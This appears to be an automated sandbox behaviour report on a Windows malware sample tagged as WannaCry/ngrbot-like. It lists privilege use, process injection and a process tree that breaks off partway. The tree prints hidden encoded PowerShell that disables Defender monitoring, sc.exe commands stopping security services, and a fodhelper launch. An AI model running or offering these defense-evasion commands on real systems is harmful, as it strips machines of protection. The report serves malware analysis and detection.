pid Process 3912 chrome.exe 3912 chrome.exe 2564 powershell.exe 2564 powershell.exe 2564 powershell.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2564 powershell.exe Token: SeShutdownPrivilege 3912 chrome.exe Token: SeCreatePagefilePrivilege 3912 chrome.exe Token: SeIncreaseQuotaPrivilege 1612 WMIC.exe Token: SeSecurityPrivilege 1612 WMIC.exe Token: SeTakeOwnershipPrivilege 1612 WMIC.exe Token: SeLoadDriverPrivilege 1612 WMIC.exe Token: SeSystemProfilePrivilege 1612 WMIC.exe Token: SeSystemtimePrivilege 1612 WMIC.exe Token: SeProfSingleProcessPrivilege 1612 WMIC.exe Token: SeIncBasePriorityPrivilege 1612 WMIC.exe Token: SeCreatePagefilePrivilege 1612 WMIC.exe Token: SeBackupPrivilege 1612 WMIC.exe Token: SeRestorePrivilege 1612 WMIC.exe Token: SeShutdownPrivilege 1612 WMIC.exe Token: SeDebugPrivilege 1612 WMIC.exe Token: SeSystemEnvironmentPrivilege 1612 WMIC.exe Token: SeRemoteShutdownPrivilege 1612 WMIC.exe Token: SeUndockPrivilege 1612 WMIC.exe Token: SeManageVolumePrivilege 1612 WMIC.exe Token: 33 1612 WMIC.exe Token: 34 1612 WMIC.exe Token: 35 1612 WMIC.exe Token: 36 1612 WMIC.exe Token: SeBackupPrivilege 4976 vssvc.exe Token: SeRestorePrivilege 4976 vssvc.exe Token: SeAuditPrivilege 4976 vssvc.exe Token: SeIncreaseQuotaPrivilege 1612 WMIC.exe Token: SeSecurityPrivilege 1612 WMIC.exe Token: SeTakeOwnershipPrivilege 1612 WMIC.exe Token: SeLoadDriverPrivilege 1612 WMIC.exe Token: SeSystemProfilePrivilege 1612 WMIC.exe Token: SeSystemtimePrivilege 1612 WMIC.exe Token: SeProfSingleProcessPrivilege 1612 WMIC.exe Token: SeIncBasePriorityPrivilege 1612 WMIC.exe Token: SeCreatePagefilePrivilege 1612 WMIC.exe Token: SeBackupPrivilege 1612 WMIC.exe Token: SeRestorePrivilege 1612 WMIC.exe Token: SeShutdownPrivilege 1612 WMIC.exe Token: SeDebugPrivilege 1612 WMIC.exe Token: SeSystemEnvironmentPrivilege 1612 WMIC.exe Token: SeRemoteShutdownPrivilege 1612 WMIC.exe Token: SeUndockPrivilege 1612 WMIC.exe Token: SeManageVolumePrivilege 1612 WMIC.exe Token: 33 1612 WMIC.exe Token: 34 1612 WMIC.exe Token: 35 1612 WMIC.exe Token: 36 1612 WMIC.exe Token: SeShutdownPrivilege 3912 chrome.exe Token: SeCreatePagefilePrivilege 3912 chrome.exe Token: SeShutdownPrivilege 3912 chrome.exe Token: SeCreatePagefilePrivilege 3912 chrome.exe Token: SeDebugPrivilege 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 3912 chrome.exe Token: SeCreatePagefilePrivilege 3912 chrome.exe Token: SeShutdownPrivilege 3912 chrome.exe Token: SeCreatePagefilePrivilege 3912 chrome.exe Token: SeIncBasePriorityPrivilege 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 3912 chrome.exe Token: SeCreatePagefilePrivilege 3912 chrome.exe Token: SeDebugPrivilege 540 tasklist.exe Token: SeDebugPrivilege 3652 whoami.exe Token: SeDebugPrivilege 3736 NETSTAT.EXE Token: SeShutdownPrivilege 3912 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe - Suspicious use of SendNotifyMessage 16 IoCs
pid Process 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe 3912 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2128 wrote to memory of 3912 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 80 PID 3912 wrote to memory of 1812 3912 chrome.exe 81 PID 2128 wrote to memory of 2564 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 82 PID 2128 wrote to memory of 2300 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 84 PID 2128 wrote to memory of 408 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 86 PID 2128 wrote to memory of 3236 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 122 PID 2128 wrote to memory of 5000 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 157 PID 2128 wrote to memory of 5020 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 92 PID 2128 wrote to memory of 1132 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 94 PID 2128 wrote to memory of 4040 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 96 PID 2128 wrote to memory of 2272 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 98 PID 3912 wrote to memory of 3492 3912 chrome.exe 100 PID 3912 wrote to memory of 3492 3912 chrome.exe 100 PID 3912 wrote to memory of 1040 3912 chrome.exe 101 PID 3912 wrote to memory of 4028 3912 chrome.exe 103 PID 3912 wrote to memory of 4028 3912 chrome.exe 103 PID 3912 wrote to memory of 3284 3912 chrome.exe 104 PID 3912 wrote to memory of 2772 3912 chrome.exe 105 PID 3912 wrote to memory of 3284 3912 chrome.exe 104 PID 3912 wrote to memory of 2772 3912 chrome.exe 105 PID 3912 wrote to memory of 232 3912 chrome.exe 106 PID 3912 wrote to memory of 232 3912 chrome.exe 106 PID 2128 wrote to memory of 2056 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 107 PID 2128 wrote to memory of 2596 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 109 PID 2128 wrote to memory of 4424 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 111 PID 2128 wrote to memory of 2612 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 113 PID 2128 wrote to memory of 1612 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 170 PID 2056 wrote to memory of 4672 2056 fodhelper.exe 171 PID 2128 wrote to memory of 2192 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 121 PID 2128 wrote to memory of 1688 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 123 PID 2128 wrote to memory of 656 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 125 PID 3912 wrote to memory of 4768 3912 chrome.exe 128 PID 3912 wrote to memory of 4768 3912 chrome.exe 128 PID 2128 wrote to memory of 2460 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 130 PID 2128 wrote to memory of 2268 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 132 PID 2128 wrote to memory of 5088 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 133 PID 2128 wrote to memory of 2604 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 134 PID 2128 wrote to memory of 4212 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 135 PID 2128 wrote to memory of 1076 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 136 PID 2128 wrote to memory of 1880 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 137 PID 2128 wrote to memory of 1236 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 138 PID 2128 wrote to memory of 5064 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 146 PID 2128 wrote to memory of 1660 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 147 PID 2268 wrote to memory of 1636 2268 cmd.exe 148 PID 5088 wrote to memory of 540 5088 cmd.exe 149 PID 2460 wrote to memory of 4756 2460 cmd.exe 150 PID 1076 wrote to memory of 4456 1076 cmd.exe 151 PID 4212 wrote to memory of 1276 4212 cmd.exe 152 PID 2604 wrote to memory of 3652 2604 cmd.exe 153 PID 1880 wrote to memory of 3736 1880 cmd.exe 154 PID 1276 wrote to memory of 3396 1276 net.exe 155 PID 2128 wrote to memory of 4392 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 156 PID 2128 wrote to memory of 5000 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 157 PID 2128 wrote to memory of 2912 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 158 PID 2128 wrote to memory of 1580 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 160 PID 2128 wrote to memory of 460 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 163 PID 2128 wrote to memory of 3132 2128 2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe 164 PID 2460 wrote to memory of 392 2460 cmd.exe 168 PID 2912 wrote to memory of 484 2912 net.exe 169 PID 3912 wrote to memory of 4672 3912 chrome.exe 171 PID 3912 wrote to memory of 888 3912 chrome.exe 175 PID 3912 wrote to memory of 1624 3912 chrome.exe 176 PID 3912 wrote to memory of 408 3912 chrome.exe 177 PID 3912 wrote to memory of 4076 3912 chrome.exe 186 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-17_8492453412c4945267385fcacc3a0455_destroyer_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://shelteredco.com2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb575cc728,0x7ffb575cc734,0x7ffb575cc7403⤵PID:1812
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1580,i,8897557985096642435,10289076394178594106,262144 --field-trial-handle=2020,i,7890448531856814717,8764582591077487026,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2016 /prefetch:23⤵PID:3492
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2152,i,1101182002912956343,5042758316985596046,524288 --field-trial-handle=2020,i,7890448531856814717,8764582591077487026,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2136 /prefetch:113⤵
- System Time Discovery
PID:1040
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2376,i,6537132291437194104,13390487021538277933,524288 --field-trial-handle=2020,i,7890448531856814717,8764582591077487026,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2524 /prefetch:133⤵PID:4028
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3040,i,9074907408211824367,11501470426779756596,2097152 --field-trial-handle=2020,i,7890448531856814717,8764582591077487026,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3096 /prefetch:13⤵PID:3284
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3060,i,1349684404931119242,2823906253259604276,2097152 --field-trial-handle=2020,i,7890448531856814717,8764582591077487026,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3116 /prefetch:13⤵PID:2772
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4280,i,10313468406480803137,16340681363883494890,2097152 --field-trial-handle=2020,i,7890448531856814717,8764582591077487026,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4296 /prefetch:93⤵PID:232
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4708,i,9925612877302204701,11258316290917310587,2097152 --field-trial-handle=2020,i,7890448531856814717,8764582591077487026,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4728 /prefetch:13⤵PID:4768
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5416,i,3730087980565755711,336535399104690268,524288 --field-trial-handle=2020,i,7890448531856814717,8764582591077487026,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5516 /prefetch:143⤵PID:4672
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5652,i,14566859700410825481,5024926058358460473,524288 --field-trial-handle=2020,i,7890448531856814717,8764582591077487026,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5700 /prefetch:143⤵PID:888
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=212,i,2580827871762659555,13526608031176385320,524288 --field-trial-handle=2020,i,7890448531856814717,8764582591077487026,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3408 /prefetch:143⤵PID:1624
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5640,i,13619414524754240116,8293295321399657121,524288 --field-trial-handle=2020,i,7890448531856814717,8764582591077487026,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3380 /prefetch:143⤵PID:408
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4412,i,4885715648696698911,17269755994133339831,262144 --field-trial-handle=2020,i,7890448531856814717,8764582591077487026,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5404 /prefetch:103⤵PID:4076
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2564
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2300
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:408
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3236
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:5000
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5020
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:1132
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:4040
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:2272
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2056 -
